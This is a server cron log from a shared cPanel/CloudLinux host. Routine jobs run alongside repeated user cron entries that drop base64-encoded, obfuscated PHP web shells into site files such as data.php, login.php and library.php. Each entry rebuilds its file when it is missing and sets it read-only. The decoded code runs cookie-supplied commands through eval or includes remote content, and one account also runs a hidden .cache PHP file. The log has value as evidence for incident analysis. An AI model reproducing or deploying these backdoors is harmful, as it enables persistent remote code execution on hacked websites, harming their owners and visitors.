Mar  1 06:45:02 medusa CROND[20504]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:45:02 medusa CROND[20505]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:45:02 medusa CROND[20498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:45:02 medusa CROND[20492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:45:02 medusa CROND[20493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:46:02 medusa CROND[25563]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:46:02 medusa CROND[25565]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:46:02 medusa CROND[25566]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:46:02 medusa CROND[25567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:46:02 medusa CROND[25568]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:46:02 medusa CROND[25569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:46:02 medusa CROND[25570]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:46:02 medusa CROND[25577]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:46:02 medusa CROND[25581]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:46:02 medusa CROND[25583]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:46:02 medusa CROND[25586]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:46:02 medusa CROND[25587]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:46:02 medusa CROND[25589]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:46:02 medusa CROND[25591]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:46:02 medusa CROND[25593]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:47:01 medusa CROND[30338]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:47:01 medusa CROND[30407]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:47:01 medusa CROND[30408]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:47:01 medusa CROND[30409]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 06:47:01 medusa CROND[30410]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:47:01 medusa CROND[30414]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:47:01 medusa CROND[30416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:47:01 medusa CROND[30417]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:47:01 medusa CROND[30419]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:47:01 medusa CROND[30415]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:47:01 medusa CROND[30420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:47:01 medusa CROND[30424]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:47:01 medusa CROND[30423]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:48:01 medusa CROND[3569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:48:01 medusa CROND[3570]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
